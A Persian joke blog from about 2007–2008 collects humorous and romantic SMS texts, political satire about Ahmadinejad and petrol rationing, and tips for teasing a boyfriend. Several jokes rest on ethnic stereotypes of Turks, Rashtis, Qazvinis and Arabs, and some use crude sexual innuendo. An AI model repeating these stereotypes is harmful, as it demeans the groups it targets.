زندگي گل سرخي است كه گلبرگهايش خيالي و خارهايش واقعي است

--------

سال پيش زني از ايران راهي کره مريخ شد بينام انوشه .... به اميد انکه يه روز تمامي زنهاي عالم به کره ماه و مريخ عزيمت کنند و زمين را از لوس وجودي خويش ازاد کنند و مردان خوش باشن ((از طرف مردان خون به جيگر

--------

معتاده در حال نماز خوندن : ...الحمدلله رب العالمين... خدايا سرتو درد نميارم ... ، ولاالضالين!

--------

اخونده دختر پسر رو لب تو لب تو مسجد ميبينه ميره ميگه مگه شما خانواده ندارين حيا ندارين دين ندارين ايمان ندارين پسره ميگه چرا حاج اقا همه اينا رو داريم فقط خونه خالي نداريم

--------

ايرانسل عشق را تكميل مي كند: در نيمه شبها با دقايق رايگان ايرانسل مخ عزيزانتان را کاملا بزنيد عشق را با ايرانسل معني كنيد(روابط عمومي ايرنس)

--------

مهم نيست که فردا چي ميشه مهم اينه که امروز دوستت دارم مهم نيست فردا کجايي مهم اينه هر جا هستي دوستت دارم مهم نيست تا ابد با هم نباشيم مهم اينه تا ابد دوستت دارم مهم نيست قسمت چي ميشه مهم اينه قسمت شد دوستت داشته باشم

--------

روزي از يک چوپان مي پرسند:اين همه چوپاني کردي رو اخلاقت تاثير نگذاشته؟ مي گه:نع...نع..نع!!!

--------

خوشبخت ترين پسر كسي هست كه اولين عشق يه دختر باشه و خوشبخترين دختر كسي هست كه آخرين عشق يه پسر باشه.!.

چون نکته آموزشی داشت برای هزارمین بارنوشتم

_--------

      

خوب امیدوارم ازاین آپ هم حمایت کنید

 

ولنتاین خوش بگذره به همه شما دوستای گلم

و نظرات قشنگتونو برام بزارید

منتظر تک تک شما هستم

تا آپ مجدد

یا حق

الناز

پنجشنبه بیست و پنجم بهمن 1386 ساعت 14:8| نويسنده : الناز |

ســـــــــــــــــــلام

 به همه شمایی که همیشه و همه جا دوست و

 همراه جکسرا هستید 

 

این آپ کمی با آپهای قبلی فرق داره

البته همه آپها با هم فرق دارن

ولی این یکی خیلی خیلی فرق داره

واونم اینه که  

این آپ مربوطـــــــــــــــــــــته به

 

تـــــولــــــد مـــــــــن  

 

یعنی 28 مرداد

مبـــــارکــه   

بیا شمعا رو فوت کن تا هزار سال

 نه

ده هزار سال زنده باشی

نه ده هزار هم زیاده

همون 30 کافیه

اول تشکر میکنم از دوستای گلم چون خیلی زیاد هستن

 نمیشه اسم همشونو بیارم ولی ازشون خیلی خیلی ممنونم

که منو تنها نمیزارن که همیشه قدم

به این مکان زیبا قدم میزارن و نظر هم یادشون نمیره

من منتظر نظرات زیبای شما هستم

یادتون نشه باشه

آفرین

خوب حالا براتون چند تا جک قشنگ میزارم 

تا روحیه شما هم مثل من شاد بشه

ممنون از تموم بچه هایی کا تا حالا اومدن و قراره بیان

تشکر منتظر تعریفات شما جهت زیبا تر شدن جکسرا هستم   

********

مي دوني فرق تو با يانگوم چيه؟

 يانگوم جواهري در قصر ولي تو يه قصر جواهري 

********

اگر خواستي يه كسي عاشق هر نفسي جونشو قربونت كنه

قلبشو حيرونت كنه جون مادرت رو من يكي حساب نكن

يكي دلش به حال ماهي ميسوزه يكي دلش به حال ماهي گير

اما هيچ كس دلش به حال تو كه سر قلاب هستي نمي سوزه

********

توجه                              توجه

1000 دستگاه ريو 10000 كيلو متر اسكناس

100 صندوق پر از طلا 10 دستگاه آپار تمان

فداي يه دوست خوب مثل تو

********

اگر قرار باشه منم مثل ژولورن دور دنيا رو در 80 روز بگردم

ترجيح مي دم دور تو بگردم چون تو دنياي مني

********

ماهي قرمز كوچكي هستم در قلب شيشه ايي تو

مواظب دلت باش نشكنه كه من مي ميرم

********

اگه ديدي يه روز به سيخ كشيدنت ناراحت نشو چون خيلي جيگري

********

ستاد مبارزه با فساد و بد حجابي اعلام کرد:

از اين به بعد کسي حق ندارد

 عسل و ميرزا قاسمي را تو يخچال با

هم نگه دارد مگر اينکه در يخچال باز باشد

********

به من بگو زشت ! من به تو مي گم قشنگ !

چه اشکالي داره ، بذار جفتمون به هم دروغ گفته باشيم !

********

اگر ده تا گل گرفتي دستت و رفتي جلوي آينه

و 11 تا گل قشنگ ديدي اصلاً تعجّب نکن ! اين نشون ميده هم

کوري ، هم خنگي و هم دچار توهم شدي

********

به دختره مي گن اگه دنيا رو بهت بدن چي كار مي كني

 مي گه من فعلا مي خوام درسمو ادامه بدم

********

يه برره ای به رفيقش مي گه من يه تمساح پيدا كردم چيكارش كنم؟

 ميگه ببرش باغ وحش. فردا رفقيش مي گه

برديش؟ يارو مي گه : آره ،

 تازه امشب هم مي خوام ببرمش سينما

********

 غضنفرميره حرم داد می‌ زنه : آقايون شلوغ نكنيد!

 حاجت ها قاطی‌ می‌شه! من پارسال اومدم ، حامله شدم

********

پيروزي افتخار آميز دانشمندان ايراني

 در عرصه انرژي هسته اي و دستيابي

آن عزيزان به اورانيوم غني شده

رو ولش کن "خودت چه طوري؟

********

از ناتاشا ميپرسن: چند تا بچه داري؟ 4 تا از انگشتاشو نشون ميده،

 ميگه: 3 تا! ملت كف ميكنن، ميگن: بابا

اينا كه 4تاست؟ ناتاشا انگشت كوچيكشو نشون ميده،

ميگه: اين بچة همسايمونه، ولي هميشه خونة ماست

********

عربه با دو تا خيار در دست ميره توي يك بقالي،

 ميگه:حاج آقا خيارشور داري؟ بقاله ميگه: بله.

 عربه ميگه:پس ولك بي زحمت اين دوتا رو هم بشور!

********

آخرین نرخ مهریه دختران : ۱۳۸۶ لیتر بنزین

********

عاقد خطاب به عروس:آیا وکیلم شما را با مهریه 1000 لیتر بنزین

 و 14 عدد کارت سوخت به عقد دائم آقا

محمود در بیاورم؟ . . . عروس رفته ماشینش رو گازسوز کنه....

********

اگه كسی بهت گفت: دوستت دارم میمیرم برات فدات شم

 تمام زندگیمی زود باور نكن!!! اگه میخوایی امتحانش

كنی....... بهش بگو: كارت سوخت رو میدی به من؟؟؟

********

مژده به آقایون : پژو((405)) مدل 84

آمادهی آتش سوزی بهترین هدیه برای همسر عزیزتان

********

اگر امشب خوابت نبرد ،ستارهارو بشمر،

 اگر کم اومد قطرهای بارون رو بشمراگر بند اومد

 به بارون عشق من فکر کن چون نه کم میاد نه بند میاد. 

********

مي دوني بازي روزگار چيه؟؟ اين که تو چشم بذاري من قايم شم .

 بعد تو يکي ديگه رو پيدا کني

********

حوا از آدم مي‌پرسه: منو دوست داري؟

 آدم ميگه: مگه چاره ديگه‌اي هم دارم؟

********

از شمع یک چیز آموختم:ایستاده بمیرم بی صدا بمیرم

 به پای دوست بمیرم

********

خيلي مهم است بتوني پسري رو پيدا کني که تو اين دوره زمونه

 خشکل خوشتيپ باشه هم مايه دار باشه

 دوست داشته باشه وفادار باشه تازه مهم تر از همه

نفهمه تو سه تا دوست پسر ديگم داري

********

همه آدمها با هم برابرند ، اما پولدارها محترم ترند 

 همه آدمها برابرند ، اما دخترها پر طرفدارترند

 همه آدمها 7برابرند ، اما بچه ها واجبترند

 همه آدمها برابرند ، اما خانمها مقدمترند 

همه آدمها برابرند ، اما سياهها بدبخت ترند و سفيدها برترند.

 در کل همه آدمها برابرند ، اما بعضيها برابرترند

********

اگه دوست داري عميق ترين ، طولاني ترين و

محکم ترين بوس دنيا رو تجربه کني بيا پيش خودم تا لباتو

بذارم رو لوله جارو برقي 

********

اينجا ايران است. حکومتش ،حکومت امام زمان است

بر مبناي قرآن است. رهبرش ،رهبر مستضعفين جهان

،ستاره باران است. جاي روشنفکرانش ، زندان است.

 هر که فرياد بزند ،از کافران است. سکوت نشانه است.

 قوت غالب مردم نان است. بهاي نان،به قيمت جان است.

ثروتش براي فلسطينيان است.

دانشگاهش مسلمان است. شرکت در راهپيمايي بزرگترين نشانه ايمان است.انچه روز به روز ارزان ميشود جان انسان

است. آري، اينجا ايران است...  

********

آموخته ام دنيا سه روزاست: 1/ ديروزكه ديگربرنگردد

 2/ امروزكه دوامي ندارد

3/ فردا كه حالش معلوم نيست

شايد به آن نرسيم

********

آسمان را مي نگرم تو را ميبينم

 خورشيد را مي نگرم تو را ميبينم

 ماه را مي نگرم تو را ميبينم

 خوب مسخره از جلوم برو كنار ديگه! تا یه دنیا رو ببینم

********

چهار چيز است که نمي‌توان آن‌ها را بازگرداند... سنگ ... پس از رها کردن! حرف ... پس از گفتن!

موقعيت... پس از پايان يافتن!

 و زمان ... پس از گذشتن

********

هروقت كسي رو ديدي احساس كردي ميخواد بغلت كنه

 وفقط تو مي بينيش ... زبونت بند امده ... صدايي نمي شنوي ...

 زمان نمي گذره ...

مطمئن باش عزرائيله

********

پسر خوب چگونه پسري است ؟

 پسري كه اولا دوست دختر نداشته باشه 

 دوما دوست دختر نداشته باشه

 سوما دوست دختر نداشته باشه

 چهارما دوست دختر نداشته باشه.....

 چون دوست دختر بناي اوليه منحرف شدن

 اين گل هاي پاك و معصوم است

********

خره وسط جنگل داد میزنه: من شیر میخورررررم..

 پلنگ میخورررم..... گرگ میخورم.....

شیره از پشت درخت میاد بیرون،

خره میگه بعضی وقتها گه زیادی هم میخورم!!  

********

سخت ترين سوال کنکور86: اين سخن از کيست؟

 اسراييل لکه ننگ بشريت است و بايد از روي زمين محو شود

 الف)کرم محو کننده ببک

 ب)پودر لکه بر انزيم دار تاژ

 ج)محمود احمدي نژاد

********

همزمان با سهميه‌بندي بنزين،

يكي از شركتهاي بزرگ خودروسازي،

 پيش‌فروش خر در دو مدل سواري (الاغ / ماده) و وانت (خر / نر)

را با امكانات زير آغاز كرد:

 دوگانه سوز (كاه و يونجه)، يك سال معاينه رايگان

 تجهيزات اضافه شامل: پالان، پوزبند و نعل

 سيستم ترمز صوتي (هششششش)

 بدون نياز به گواهي‌نامه، بدون نياز به پلاك

 و معاف از طرح زوج و فرد، معاف از بيمه شخص ثالث!

     

********

خداوند هيچ موقع از توسوال نمي كنه چه نو ع ماشيني روندي؟

 اما حتما از تو خواهد پرسيد

 چندنفر پياده را به مقصد رساندي.......

********

 قابل توجه دخترها که هر چي بوق ميزني ناز ميکنن......

نميدونن هدف پسرها الهيه  

********

بلوتوث قلبت رو روشن کن

مي خوام تمام وجودمو برات سند کنم

.

.

.

.

ها ها ها

ويروس داشت

الان مي ميري ....

********

اگه ديدي تو آسمون هيچ ستاره اي نيست ناراحت نشو

 خودم حاضرم تا صبح برات چشمک بزنم

تا بشم تک ستاره  ي دلت

********

مي دونستي اشک گاهي از لبخند با ارزش تره؟

چون لبخند رو به هر کسي

مي توني هديه کني اما اشک رو فقط براي کسي مي ريزي

 که نمي خواي از دستش بدي

********

شکسپير مي گه : اگر تمام شب براي از دست دادن

 خورشيد گريه کني لذت ديدن ستاره ها را هم از دست خواهي داد

********

از اونجا که شتر در خواب بيند پنبه دانه ،گهي لپ لپ خورد گه دانه دانه،

 وظيفه خود دونستم بيدارت کنم آخه

داشتي بالشو مي خوردي  

********

به يارو ميگن از اينکه همسرت را عزيزم خطاب ميکني

 چه احساسي داري ؟؟ ميگه احساس گناه !!!!!!!!!

ميگن چرا ؟ ميگه آخه اسمش يادم نيست

********

يه دختر 18 ساله:به قول خودش انقدر خواستگار داره که نمي دونه کدومش رو انتخاب کنه فعلا قصد ازدواج نداره  مي خواد درس بخونه

 دختر 22 ساله : او يک شاهزاده با يک قصر مي خواد ادعا مي کنه که خيلي واقع بينه ولي ؟؟؟؟؟مرد ايده آل او بايد پول دار خوش قيافه مشهور هميشه در حسابش پول به اندازه کافي باشه وسخاوت مند او بايد شوخ طبع، ورزشكار، شيك پوش، رمانتيك و شـنونده خوبي باشد. بله خصوصيات و صفات آن مرد بسيار طولاني است. دخـتر مـردي را ميخواهد كه او را بپرستد و او را با گذاشتن گلها، هدايا و دادن وعده عشق ابدي و جاويدان تـبديل به الهه گرداند

دختر 32 ساله: کم کم داره بوي ترشي مي ياد ديگه فقط يه مرد خوب مي خواد لازم نيست ورزشکار و خوش تيپ و.. باشه يه کار خوب با حقوق مکفي خونه ماشين و حساب بانکي داشته باشه و غذاهايي که دختر درست مي کنه رو تحمل کنه کافيه

دختر 52 ساله: او فقط مي خواهد... هر چي بود باشه دختر بايد خيلي شانس بياره که مردش انقدر ترسناک نباشه که نوه هاش رو بترسونه راه توالت رو هنوز به ياد داشته باشه دندون مصنوعي هاش رو يادش باشه کجا گذاشته

دختر 72 ساله: تعجب نکنيد بعضي دخترا تا اين سن هم عمر مي کنن ولي مطمئن نيستم مردمورد علاقش هنوز نفس بکشه

********

احمدي نژاد دستور داده:هر كس كه خوشگل تر از منه اعدامش ميكنم

ما كه رفتني شديم ،خوش به حالت كه زنده ميموني

********

توي جاده به يه تابلو رسيدم که روش نوشته بود :

دوست داشتن دل مي خواهد نه دليل!

 از ته دلم دوستت دارم

بي هيچ دليل !

********

چارلي چاپلين به دخترش: تا وقتي قلب عريان كسي رانديدي

 بدن عريانت را نشانش نده   

********

غضنفر با دوست دخترش ميرن پارك غضنفر ميگه :

عزيزم اگه اين درخت كاج زبون داشت الان به ما چي ميگفت ؟

دختره ميگه اگه زبون داشت ميگفت كره خر من زردآلوام نه كاج

********

خوب تا آپ بعدی که معلوم نیست چند صد ساله دیگه باشه 

البته سعی بر اینه که زود به زود آپ بشه

خداحافظ شما دوستای گل

یاحق

الناز

 

یکشنبه بیست و هشتم مرداد 1386 ساعت 5:0| نويسنده : الناز |

 

 

 

******* 

 

 

ســـــــلام   

 

 

 

 

 به همه شما هایی که این مطالب رو فرستادین

 

  و کمک کردین تا دوباره جکسرا رونق بگیره

 

ممنونم از همه شما 

 

اول یک عکس درخواستی

 

 

 

جــــــــــــــــــــک

          

گر آسمون بيفته. اگر زمين بلرزه. اگر خورشيد سياه شه. اگر ماه به دو نيم شه. اگر دريا صحرا شه. . . . . . . . بدبخت داره قيامت ميشه. نشستي اف مي خوني!!؟

*******

جديدترين اس ام اس

.

.

.

.

ديگه هي نگو اس ام اس تكراري فرستادي

*******

وقتي گفتم "آخ دلم " بابا گفت : غلط کردي عاشق شدي مامان گفت: حالا دختره چرا رفت ؟ خاله و عمه و عمو و دايي هرکدوم يه چيزي گفتن اما هيچکس نگفت حالا چي ميخوري برات بياریم؟

*******

عجب چرخ عجيبي : زن از سوسک ميترسه _ سوسک از موش ميترسه _ موش از گربه ميترسه _ گربه از سگ ميترسه _سگ از مرد ميترسه _ مرد از زن ميترسه

*******

اگه يه روز ديدي که تموم درخت هاي کوچه و محلتونو بريدن اصلا ناراحت نشو ... چون هنوز منو داري که بهم تکيه کني

*******

ازم پرسيد: دوستم داري؟ گفتم آره...گفت چقدر؟ گفتم از اينجا تا خدا...اشک تو چشاش جمع شد و گفت: مگه الان نگفتي که خدا از همه چيز به ما نزديک تره

*******

ماشين زندگيت رو جلوي خونه هر عشقي پارك نكن، ممكنه چرخ هاي قلبت پنچر كنن

*******

به نیوتن گفتندبرای چی از افتادن سیب تعجب كردی ؟

نیوتن برای اینكه من زیر درخت گلابی نشسته بودم.

********

دقت کردي که قشنگترين و عزيز ترين چيزاي دنيا هميشه يکين ؟ ماه يکيه ... خورشيد يکيه ... زمين يکيه ... خدا يکيه ... مادر يکيه ... پدر يکيه ... منم يکي هستم

در وصف خودم بود

*******

توي مدرسه يادم دادن که يک سال 12 ماهه

يک ماه 4 هفته ست

يک هفته 7 روزه

يک روز 24 ساعته

يک ساعت 60 دقيقه ست

ولي کسي بهم نگفت که يک دقيقه بي تو1000 ساله

*******

اس ام اس ها گاهی پیامی ندارن

فقط ارسال می شن که باور کنی اونی که فکرشو نمی کنی

الان به یادته

*******

-***********

اینا یه دسته قاصدکن که اومدن بهت بگن که یکی هست که هر شب به یادته یه قاصدک به آسمون میفرسته و برای سلامتیت دعا می کنه

*******

عشق ورزیدن را از کویر بیاموزیم که دریا بودنش را به افتاب بخشید

*******

جهان بيش از ۶ ميليارد نفر جمعيت داره..............عجب...............اونوقت يكي نيست به من احمق بگه: چرا واسه تو مسيج مي‌فرستم؟

*******

(مخصوص ساعت 3 نصفه شب)ببين يكي مي خواست الان بهت اس ام اس بزنه بيدارت كنه

 من نذاشتم بيدارت كنه - كار خوبي كردم ؟نه؟

*******

یه بنده خدایی نوار خالی گوش می داده وگریه می کرده می گن چرا گریه می کنی می گه دلم واسه خوانندش می سوزه که لال بوده

*******

برو سر میکرسکوپ

.

.

.

.

رفتی؟

.

.

.

چی می بینی؟یه ذره کوچولو

.

.

.

.می دونی این چیه؟

.

.

این دل منه که برات اینقدر تنگ شده

*******

ادم به شش دلیل شانس آورده !چون هوا نمی تونسته بهش بگه1.من ادمت کردم 2.برو از شوهر مردم یاد بگیر3.دیشب کجا بودی4.پولاتو دادی مامانت5.مامانم اینا6.چرا به اون زنیکه نگاه کردی؟

*******

از خدا یه گل خواستم به من یه بقل گل داداز خدا یه درخت خواستم به من یه جنگل داداز خدا یه برکه خواستم به من یه اقیانوس داداز خدا یه دوست خواستم تورو به من داد قدر خودتو بدون گلم

*******

ترکه داشته پیاده راه می رفته بهش میگن آقا کجا میری؟میگه دارم میرم کارواش .میگن خوب چرا پیاده ؟ میگه دو قدم راه که دیگه ماشین نمی خواد

*******

 قزوينيه ميره نماز جماعت زودتر از بقيه از سجده بلند ميشه چشمشو که باز مي کنه ميگه خدايا براي دو رکعت نماز اين همه پاداش   

*******

 يه بار يه مرد رشتيه مياد خونه مي بينه زنش لخته ميگه خانم چرا لباس تنت نيست زنه ميگه آخه لباس ندارم مرده دره کمدوباز ميکنه ميگه نگا کن اين لباس سبزت اين لباس صورتيت عباس آقا برو کنار... اين لباس آبیت...   

*******

 رشتيه ميخواسته نصف شب بره دست شويي به زنش ميگه خانم جاي منو نگه دار برميگردم

 *******

 ترکه يه روز سرد زمستون می بينه که يه اسب از دهنش داره بخار در می یادمی ره جلوتر و می گه جل الخالق ! پس اون اسب بخاری که می گن اینه؟؟!  

*******

 ترکه پیتزا میخوره شب بربری میاد تو خوابش!!! میگه آهااااااااای بی وفا دیگه دوسم نداری؟؟؟    

*******

 ترکه تو همت داشته برعکس میرفته رادیو میگه یه احمق تو بزرگراه همت داره مخالف میاد. ترکه میگه: یه احمق نه 1000تا احمق!!!  

*******

اگه مردونگي مرده..اگه رفاقت رنگ باخته ...اگه دوستي ديگه معنا نداره...اگه دنيا پر از نامرديه...اگه ارامش فقط خواب و روياست...خوب به تو چه؟ تو بشين اس ام اس تو بخون و اينو يادت نره که انرژي هسته اي حق مسلم ماست...

*******

به رشتيه ميگن از زنت راضي هستي ميگه : آره ميگن: براي چي؟ ميگه آخه تو شستن ظرفها بهم کمک مي کنه...

*******

از رشتيه مي پرسن زنت چند ماهه حاملست ميگه: حميييييييييييييد 

*******

سه تا فرشته تو دنيا وجود دارن يکيش داره به پرنده هش غذا مي ده يکي داره به مردم کمک ميکنه يکي ديگه هم داره اين اس ام اس رو مي خونه...

*******

توزيبا تو خانوم تو با وقار تو دوست داشتني تو چشم قشنگ

اونوقت من چي؟يه دروغ گو

*******

امام جمعه تبريز فتوا داده قبل از اينکه آب بخوريد، 3 بار بايد بسم الله بگيد، چون توي آب 3 تا جن داره، دو تا اکسيجن و يه دونه هيدروجن  

*******

روزي که به دنيا اومدي داشت بارون مي اومد ولي هوا ابري نبود . ميدوني

چرا ؟ اون روز فرشته ها داشتن از اون بالا گريه ميکردن . چون يکي از

اونا کم شده بود

*******

يه ترکه نوشابه گاز دار ميخوره دچار گاز گرفتگي ميشه ميميره

*******

تا حالا فکر کردي که چرا وقتي قهوه مي خوري خوابت ميگيره!!!!!! نه !!!!!!!! اشکال نداره ...اصلا خودتو ناراحت نکن آخه تو فقط بايد به اين فکر کني که........ انرژي هسته اي حق مسلم ماست...

*******

فرشته از سنگ ميپرسه چرا از خدا نميخواي که تورو انسان کنه؟؟؟سنگ ميگه هنوز اونقدر سخت نشدم که انسان بشم!!!!  

*******

هميشه براي کسي بخند که ميدوني به خاطر تو شاد ميشه... واسه کسي گريه کن که ميدوني وقتي غصه داري و اشک ميريزي برات اشک ميريزه... براي کسي غمگين باش که در غمت شريکه... عاشقه کسي باش که دوستت بداره  

*******

تو قزوين وقتي سريال نرگس شروع ميشه همه دور هم جمع ميشن ميگن بياين "بهروز" شروع شد.

*******

به يه پژو 206 صندوقدار ميگن: چه احساسي داري؟ ميگه: احساس مي‌كنم جنيفر لوپز شدم!  

*******

 آدم شاكي ميره پيش خدا ميگه: خدايا يه چيزي به اين حوا بگو، خيلي منو اذيت ميكنه. خدا ميگه: چي شده؟ اين دفعه چي كار كرده؟! ميگه: هيچي بابا، همه شورتهاي منو برداشته باهاشون دلمه درست كرده.

   

*******

تركه جاي پارك گيرش نمياد، ميگه: خدايا اگه يه جاپارك واسم پيدا كني امروز نماز ميخونم! در همين لحظه يه جاي خالي مي‌بينه، ميگه: خدايا نميخواد، خودم پيدا كردم

*******

به تركه ميگن: چرا جلوي بانك نشستي، لنگات رو هم باز كردي؟ ميگه: آخه شنيدم به بازنشسته‌ها وام ميدن!

*******

ميگن عباس قادري ثابت كرد خوانندگي تيپ نميخواد

هايده ثابت كرد خوانندگي هيكل نميخواد

شماعي زاده ثابت كرد که خوانندگي صدا هم نميخواد      

*******

كرده سوار هواپيما بوده ميهماندار ميگه كمربندها رو ببنديد . كرده مي گه : مال من كش داره بازم ببندم

*******

از اونجا که نسل دايناسور 2ميليون سال پيش منقرض شده پس نتيجه مي گيريم : دنيا ديگه مثل تو نداره ........نه داره نه مي تونه بياره

*******

آيه 16 سوره ياهو : اي کساني که شبها چت ميکنيد ، بدانيد که قبض تلفن شما را رسوا خواهد کرد

*******

اگه بين 6 تا قزويني گردن کلفت توي يک اتاق گير افتادي چه کار مي کني؟!!... تو که کاري از دست بر نمياد.... پس سعي کن بهت خوش بگذره!!!

*******

آقاي قرائتي : دختر خوب دختري است که دوست چي ؟ ... نشه ، دوست شد چي؟ ... پارتي نره ، پارتي رفت چي؟ ... بوس نده ، بوس داد ، ... يه صلوات بفرستيد  

*******

يه ترکه مي بينن طناب بسته به کمرش ميگن چرا اينکارو کردي ؟ ميگه مي خوام خودکشي کنم! ميگن چرا دور کمرت؟ ميگه بستم دور گردنم ديدم دارم خفه ميشم بازش کردم !!!

 

*******

مگه مي شه که پرنده بمونه بي اب و دونه......

مگه مي شه که قناري توي بغض اواز بخونه......

اگه تو بري ز پيشم من همون قناري مي شم

که تو بغض و گريه هاشم مي گه:

انرزي هسته اي حق مسلم ماست

*******

يه روز قزوينيه مياد تهران عروسي بر ميگرده شهرشون بهش ميگن عروسي چطور بود ميگه عجب عروسي بود پسرها با مردها قاطي بودن  

*******

گه تو کوچه پس کوچ هاي دلم گم شدي.دنباله کسي نگرد که آدرس بهت بده چون

غير از تو کسي اونجا نيست....   

*******

خداوند به سه طريق به دعاها جواب مي دهد: او مي گويد آري و آنچه مي خواهي به تو مي دهد. او ميگويد نه و چيز بهتري به تو مي دهد. او مي گويد صبر كن و بهترين را به تو مي دهد  

*******

از من مي خواي فراموشت کنم

هروقت تونستي برف روسياه كني... پر كلاغ رو سفيد كني.... آتش رو بوس كني... توي آب يه نفس عميق بكشي... اون موقع من ميتونم فراموشت كنم.واگه نتونستي هميشه باهات هستم

*******

اگه توپت افتاد تو خونه همسايه و پارش کرد اصلا ناراحت نشو . چون يه دوست داري که حاضره قلبش رو بندازه زير پات تا باهاش بازي کني 

*******

هرگاه خداوند تو را به لبه ي پرتگاه هدايت کرد به خدا اطمينان کن.چون يا تو را از پشت خواهد گرفت يا به تو پرواز کردن خواهد آموخت

*******

امروز درست 1سال و 10 ماه و 2 روز و 5 ساعت و 20دقيقه و 55ثانيه و 7 صدم ثانيه هست که ميخوام بگم انرژي هسته اي حق مسلم ماست

*******

خوب اینم تموم شد وحالا می تونم بگم اپ شد

بعد از این همه ماه

قربون همه شما که کمک کردید و این اس ام اس های زیبا رو برام فرستادین  

قربون همه شما دوستای دوست داشتنی گلم  

تا آپ مجدد

یا حق

الناز

پنجشنبه بیستم اردیبهشت 1386 ساعت 9:30| نويسنده : الناز |

جــــــــــــــــــــــــــــــــــــــك

آخرین شعرمریم حیدرزاده .:.::...::..:-..:::.::...::-:..:::.-...::...:-...::::_:::...:::_...::::...:: قشنگ بود

نه..؟

***

نتيجه گروه D در دور اول :

1. مكزبك

2. پرتقال

۳. انگولا

۴.مونگول ها

***

پيام رئيس جمهور به بازيکنان تيم ملي فوتبال:

بسمه تعالي

عزيزانم

حالا كه به مرحله دوم راه پيدا نكرديد بايد با c130 به ايران باز گرديد.

***

و آنگاه كه ابراهيم سر اسماعيل را بر زمين گذاشت ندا آمد كه: ابي ولش كن، تو در مقابل دوربين مخفي هستي!

***

یه ضرب المثل آفریقایی هست که میگه "etsad at tenok ot marik"  . یعنی تو واسم عزیزترینی. ولی جالب اینجاست که اگه از آخر به اول هم بخونی بازم همین معنی رو میده!!!

***

پدر براي اولين بار ديد كه دخترش به جاي اينكه دو ساعت با تلفن حرف بزنه بعد از يك ‏ربع حرف ‏زدن تلفن رو قطع كرد. پدر پرسيد: كي بود؟ دختر گفت: شماره رو عوضي ‏گرفته بود.‏

***

 ارتباط ريش و تيغ قبل و بعد از انقلاب: قبل از انقلاب با تيغ ريش مي‌زدند، بعد از انقلاب با ريش تيغ ميزند

***

به غضنفر میگن آمریکا میخواد حمله کنه ... میگه : خاک بر سرمون شد حالا کی میخاد جلوی آرنولد رو بگیره ؟؟؟

***

غضنفر داشته تو اتوبان کرج با سرعت ميرفته , يه دفعه راديو پيام ميگه : "رانندگان عزيز که در لاين تهران به کرج در تردد هستند مواظب باشن يه اتوموبيل در لاين مخالف در حرکت است" غضنفر  همينجور که داشته فرمونو اينور اونور ميکرده ميگه : لامصبا يکي دوتام نيستن

***

غضنفر صبح ميره مغازه و کرکره رو بالا ميکشه و ميگه بسم الله رحمان رحيم وارد ميشه و ميبينه همه مغازه رو خالي کردن ! کرکره رو ميکشه پايين و ميگه صدقلله علي العظيم

***

مرد مثل ويدئو مي‌مونه :

Play/Forward/Back/Forward/Back/Stop/Eject/Off

***

به پدر حسين فهميده ميگن نظرت درباره پسرت چيه؟ ميگه برو بابا هنوز دارم قسط تانك رو ميدم!

***

يه روز يه پيرزنه قرص اكس ميخوره ميگه من ترانه 15 سال دارم

***

 (( ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ )) اين آخرين چيزيه که از تو برام مونده، جای پاهات رو ديوار اطاقم، يادت به خير، عجب مارمولکی بودی!!!

***

خيلي دوست دارم: يه روز ميام دنبالت، با هم ميريم يه جاي دور كه دست هيچ كس بهت نرسه، قربانت عزرائيل

***

نگريستم به گريستنت، گريستم به نگريستنت، گريستم و تو نگريستي، نگريستم و تو گريستي، گريستم تا نگريستي! مخت هنگ كرد يا بازم بگم؟

***

 (اين مسيج ساعت سه نيمه شب به دست ما رسيد)

 ببخشيد اين موقع مزاحم شدم، شرمنده، ميخواستم ببينم آشنا نداري پرونده ايران رو از شوراي امنيت بكشي بيرون؟

***

به غضنفر مي گن ديويد بكهام رو مي شنا سي ؟

 مي گه : آره سره كوچمون تعويض روغني داره!!!

***

امیدوارم در سال جدید پله های ترقی را یکی یکی تی بکشی

***

       20% به یادتم

40% میخوام پیشم باشی

50% بهت احتیاج دارم

70% به دنبالتم

80% ازت خوشم میاد

90% دوستت دارم

100% سر کاری

***

    سخن جديد

گر پسري کشته شود دختري ترشيده شود گر پسران کشته شوند کل جهان ليته شود

***

     چند ترفند براي اذيت  bfتون 

  1: اگه بهتون زنگ زد(در این مسئله فرض بر جواد نام بودن دوست پسرتونه يه اسم پیدا کنید مثلا پرتقال فروش را!!!بگین سلام حمید جون.بعد یه دفعه انگار که تازه متوجه شدین بگین اوا خاک به سرم علی تویی؟؟؟؟می تونین این سیرو تا هفده باز تکرار کنین ولی بار هجدهم دیگه خطر مرگ داره.شرکت ما مسئولیتی در قبال این حادثه ندارد.

2: بهش زنگ بزنین و بگین کسی خونه نیست و دعوتش کنین خونتون ، بعد با دختر همسایه برید سینما و فیلم دختری با کفشهای کتانی یا عروس فراری رو ببینید.

3: تا یه شوخی کوچیک با شما کرد سریعا جبهه بگیرین وباهاش دعوا کنین با کلماتی از قبیل:مگه تو خودت خواهر مادر نداری؟...یا یه همچین چیزایی ،ولی دو تا سه دقیقه بعد خودتون یه جک فجیع یا افتضاح تعریف کنید و بعدش بشینید و قیافه بنده خدا رو تماشا کنید.

4: آرایش شدید بزنید و از این شلوارای خیلی برمودا و از این پیرهن آستین کوتاها بپوشید و برید جلوی بنده خدا رژه برید و وقتی به شما نزدیک شد و به دو سه متری شما رسید ، سرش داد بزنید و بعدش بشینید و زجر کشیدنش رو تماشا کنید.

5: عکسهای دو نفره ای رو که با پسر نوه عمه ی خاله ی پدربزرگ پسر دختر خالتون و یا امثالهم گرفتید بهش نشون بدید ولی بهش اجازه ندید حتی یه دونه عکس باهاتون بگیره.

6: موقع تولدش جلوی دوستاش فقط بهش یه شاخه گل هدیه بدید و حالشو حسابی بگیرید و (احتمالا بسته به قدرت و توانایی قلبی و شرایط جوی)بشینید و سکته شو تماشا کنید و لذت ببرید.

7: همین که تو ماشین بغل دستش نشستین شروع کنین به عطسه کردن(کردن؟بی ادبیه ، گلاب به روتون ، روم به دیوار ، منظورم زدن بود)و از بو ادکلن چن صد هزار تومنیش که با زجرکش کردن پدر و مادرش خریده ایراد بگیرید و بهش بگید که به این بو حساسید.

  8:  وقتی داره باهاتون حرف می زنه همین که به جای حساس حرفاش رسید بی مقدمه موبایلشو بردارید و به یکی از دوستاتون زنگ بزنید و چهار ساعت چهل الی چهل و هشت دقیقه با دوستتون حرف بزنید و اون بدبختو تو کف حرف زدن و تو فکر قبض موبایل بذارید.

****

     بله گفتن عروسها  

عروس عادي : با اجازه بزرگترها بله

(اين اصولا مثل بچه آدم بله رو ميگه و قال قضيه رو ميکنه)
  عروس لوس: بع..........له...

